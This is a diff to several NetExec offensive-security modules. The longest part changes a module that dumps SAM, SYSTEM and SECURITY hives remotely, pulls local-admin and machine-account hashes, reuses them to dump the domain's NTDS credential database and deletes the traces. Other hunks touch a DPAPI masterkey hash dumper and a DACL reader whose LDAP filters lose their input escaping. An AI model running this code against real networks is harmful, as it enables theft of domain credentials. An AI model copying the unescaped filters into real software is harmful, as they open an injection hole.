self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
|
||||
self.local_admin = None
|
||||
self.local_admin_hash = None
|
||||
self.machine_account = None
|
||||
self.machine_account_hash = None
|
||||
self.cleanup_user = None
|
||||
self.cleanup_hash = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO OPTIONS"""
|
||||
@@ -31,18 +34,9 @@ class NXCModule:
|
||||
# enable remote registry
|
||||
context.log.display("Triggering RemoteRegistry to start through named pipe...")
|
||||
connection.trigger_winreg()
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
if connection.kerberos:
|
||||
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
|
||||
try:
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
@@ -70,56 +64,137 @@ class NXCModule:
|
||||
try:
|
||||
def parse_sam(secret):
|
||||
context.log.highlight(secret)
|
||||
if not self.domain_admin:
|
||||
if not self.local_admin:
|
||||
first_line = secret.strip().splitlines()[0]
|
||||
fields = first_line.split(":")
|
||||
self.domain_admin = fields[0]
|
||||
self.domain_admin_hash = fields[3]
|
||||
if len(fields) >= 4:
|
||||
self.local_admin = fields[0]
|
||||
self.local_admin_hash = fields[3]
|
||||
|
||||
def parse_lsa(secret_type, secret):
|
||||
context.log.highlight(secret)
|
||||
if self.machine_account:
|
||||
return
|
||||
for line in secret.splitlines():
|
||||
match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE)
|
||||
if match:
|
||||
self.machine_account_hash = match.group(1)
|
||||
account_name = line.split(":", 1)[0].strip().split("\\")[-1]
|
||||
# "$MACHINE.ACC" has no real name -> derive it from the connection.
|
||||
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
|
||||
return
|
||||
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
|
||||
sam_hashes.dump()
|
||||
sam_hashes.finish()
|
||||
|
||||
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
|
||||
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
|
||||
|
||||
if self.domain_admin:
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
|
||||
try:
|
||||
context.log.display("Dumping NTDS...")
|
||||
connection.ntds()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the NTDS: {e!s}")
|
||||
dump_creds = None
|
||||
for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]:
|
||||
if self._try_dump_ntds(connection, context, username, user_hash):
|
||||
dump_creds = (username, user_hash)
|
||||
break
|
||||
|
||||
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
|
||||
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}")
|
||||
sleep(0.2)
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
if dump_creds:
|
||||
self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context)
|
||||
if not self.cleanup_user or not self.cleanup_hash:
|
||||
self.cleanup_user, self.cleanup_hash = dump_creds
|
||||
|
||||
self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix)
|
||||
else:
|
||||
context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.")
|
||||
self._print_cleanup_warning(context, rand_suffix)
|
||||
|
||||
def _try_dump_ntds(self, connection, context, username, user_hash):
|
||||
if not username or not user_hash:
|
||||
return False
|
||||
with contextlib.suppress(Exception):
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, username, user_hash):
|
||||
try:
|
||||
context.log.display(f"Dumping NTDS using {username}...")
|
||||
connection.ntds()
|
||||
return True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}")
|
||||
return False
|
||||
|
||||
def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix):
|
||||
if not username or not user_hash:
|
||||
self._print_cleanup_warning(context, rand_suffix)
|
||||
return
|
||||
context.log.display(f"Using {username} to clean up files...")
|
||||
with contextlib.suppress(Exception):
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, username, user_hash):
|
||||
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
|
||||
hives = ["SAM", "SECURITY", "SYSTEM"]
|
||||
all_deleted = True
|
||||
for hive in hives:
|
||||
remote_name = f"{hive}_{rand_suffix}"
|
||||
try:
|
||||
connection.conn.deleteFile("SYSVOL", remote_name)
|
||||
context.log.debug(f"File {remote_name} deleted successfully via SMB.")
|
||||
except SessionError as e:
|
||||
if "STATUS_NO_SUCH_FILE" in str(e):
|
||||
context.log.debug(f"File {remote_name} already removed or not found.")
|
||||
continue
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...")
|
||||
try:
|
||||
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}")
|
||||
continue
|
||||
except Exception as exec_err:
|
||||
context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}")
|
||||
all_deleted = False
|
||||
context.log.fail(f"Fail to remove the file {remote_name}: {e!s}")
|
||||
|
||||
if all_deleted:
|
||||
double_check = True
|
||||
for hive in hives:
|
||||
remote_name = f"{hive}_{rand_suffix}"
|
||||
try:
|
||||
out = connection.conn.listPath("SYSVOL", remote_name)
|
||||
if out:
|
||||
self.deleted_files = False
|
||||
context.log.fail(f"Fail to remove the file {remote_name}, path: C:\\Windows\\sysvol\\sysvol\\{remote_name}")
|
||||
except SessionError as e:
|
||||
context.log.debug(f"File {remote_name} successfully removed: {e}")
|
||||
else:
|
||||
self.deleted_files = False
|
||||
else:
|
||||
self.deleted_files = False
|
||||
if connection.conn.listPath("SYSVOL", remote_name):
|
||||
double_check = False
|
||||
context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}")
|
||||
except SessionError:
|
||||
pass
|
||||
if double_check:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
return
|
||||
|
||||
if not self.deleted_files:
|
||||
context.log.display("Use the domain admin account to clean the file on the remote host")
|
||||
context.log.display(f"netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}\"") # noqa: Q003
|
||||
else:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
self._print_cleanup_warning(context, rand_suffix)
|
||||
|
||||
def _extract_da_hash(self, output_filename, context):
|
||||
try:
|
||||
with open(f"{output_filename}.ntds") as f:
|
||||
fallback = None
|
||||
for line in f:
|
||||
fields = line.strip().split(":")
|
||||
if len(fields) < 4 or not fields[3]:
|
||||
continue
|
||||
da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0]
|
||||
if fields[1] == "500":
|
||||
return da_user, fields[3]
|
||||
if fallback is None:
|
||||
fallback = (da_user, fields[3])
|
||||
if fallback:
|
||||
return fallback
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to read NTDS file for cleanup: {e}")
|
||||
return None, None
|
||||
|
||||
def _print_cleanup_warning(self, context, rand_suffix):
|
||||
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
|
||||
+116
-141
@@ -1,141 +1,116 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
import re
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
|
||||
# creating a second DCOMConnection to the same target (whose disconnect
|
||||
# would clash with the protocol's own)
|
||||
try:
|
||||
iWbemLevel1Login = self.connection.iWbemLevel1Login
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
iWbemServices.RemRelease()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
else:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
@@ -1,7 +1,8 @@
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5 import samr, epm
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -45,31 +46,21 @@ class NXCModule:
|
||||
def authenticate(self, context, connection, protocol, anonymous=False):
|
||||
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
|
||||
try:
|
||||
# Map to the SAMR endpoint on the target
|
||||
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
if anonymous:
|
||||
rpctransport.set_credentials("", "", "", "", "", "")
|
||||
rpctransport.set_kerberos(False, None)
|
||||
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
|
||||
dce = NXCRPCConnection(connection).connect(
|
||||
None,
|
||||
samr.MSRPC_UUID_SAMR,
|
||||
string_binding=string_binding,
|
||||
set_remote_host=connection.host,
|
||||
anonymous_rpc=True,
|
||||
)
|
||||
context.log.info("Connecting with null session credentials.")
|
||||
else:
|
||||
rpctransport.set_credentials(
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
|
||||
|
||||
# Connect to the DCE/RPC endpoint and bind to the SAMR service
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
context.log.info("[+] Successfully connected to DCE/RPC")
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
context.log.info("[+] Successfully bound to SAMR")
|
||||
return dce
|
||||
except DCERPCException as e:
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
from impacket.dcerpc.v5 import transport, rprn, even, epm
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
|
||||
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
@@ -1083,7 +1084,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
("Lenght", DWORD),
|
||||
("Length", DWORD),
|
||||
("SID", RPC_SID),
|
||||
("Hash", EFS_HASH_BLOB),
|
||||
("Display", LPWSTR),
|
||||
|
||||
+11
-11
@@ -3,16 +3,16 @@ import json
|
||||
import datetime
|
||||
from enum import Enum
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.ldap.ldapasn1 import SDFlagsControl
|
||||
from impacket.uuid import bin_to_string
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from ldap3.utils.conv import escape_filter_chars
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
import sys
|
||||
import traceback
|
||||
from os.path import isfile
|
||||
|
||||
|
||||
OBJECT_TYPES_GUID = {}
|
||||
OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)
|
||||
OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS)
|
||||
@@ -190,8 +190,8 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
|
||||
|
||||
|
||||
SEARCH_FILTERS = {
|
||||
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
|
||||
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
|
||||
"TARGET": lambda target: f"(sAMAccountName={target})",
|
||||
"TARGET_DN": lambda target: f"(distinguishedName={target})"
|
||||
}
|
||||
|
||||
|
||||
@@ -200,7 +200,7 @@ class NXCModule:
|
||||
|
||||
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
|
||||
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
|
||||
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
|
||||
It could be interesting to implement the write/remove functions here.
|
||||
"""
|
||||
|
||||
name = "daclread"
|
||||
@@ -249,10 +249,10 @@ class NXCModule:
|
||||
context.log.debug("There is a target specified!")
|
||||
if isfile(module_options[option]):
|
||||
try:
|
||||
target_file = open(module_options[option]) # noqa: SIM115
|
||||
for line in target_file:
|
||||
context.log.debug(f"Adding target from file: {line}")
|
||||
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
|
||||
with open(module_options[option]) as target_file:
|
||||
for line in target_file:
|
||||
context.log.debug(f"Adding target from file: {line}")
|
||||
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be opened.")
|
||||
else:
|
||||
@@ -288,7 +288,7 @@ class NXCModule:
|
||||
if self.principal_sAMAccountName is not None:
|
||||
try:
|
||||
resp = connection.search(
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
|
||||
searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})",
|
||||
attributes=["objectSid"],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
@@ -306,7 +306,7 @@ class NXCModule:
|
||||
resp = connection.search(
|
||||
searchFilter=search_filter(target),
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=security_descriptor_control(sdflags=0x04),
|
||||
searchControls=[SDFlagsControl(criticality=False, flags=0x04)],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
|
||||
|
||||
@@ -1,15 +1,12 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -19,33 +16,11 @@ class NXCModule:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=conn,
|
||||
target=connection.dpapi_triage.target,
|
||||
conn=connection.dpapi_triage.conn,
|
||||
)
|
||||
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
context.log.debug("Collecting user masterkeys")
|
||||
|
||||
@@ -50,6 +50,7 @@ class NXCModule:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
context.log.debug(f"CLEANUP is set to {self.cleanup}")
|
||||
|
||||
self.lms_name = module_options["NAME"]
|
||||
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
|
||||
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
|
||||
|
||||
|
||||
@@ -47,7 +47,7 @@ class NXCModule:
|
||||
with open(self.scfile_path, "w") as scfile:
|
||||
scfile.truncate(0)
|
||||
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
|
||||
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
|
||||
scfile.write("<description>Microsoft Outlook</description>")
|
||||
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
|
||||
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
|
||||
|
||||
@@ -13,7 +13,7 @@ class NXCModule:
|
||||
"""
|
||||
FILE_NAME Name of the file which will be tried to create and afterwards delete
|
||||
SHARE_NAME If set, ONLY this share will be used
|
||||
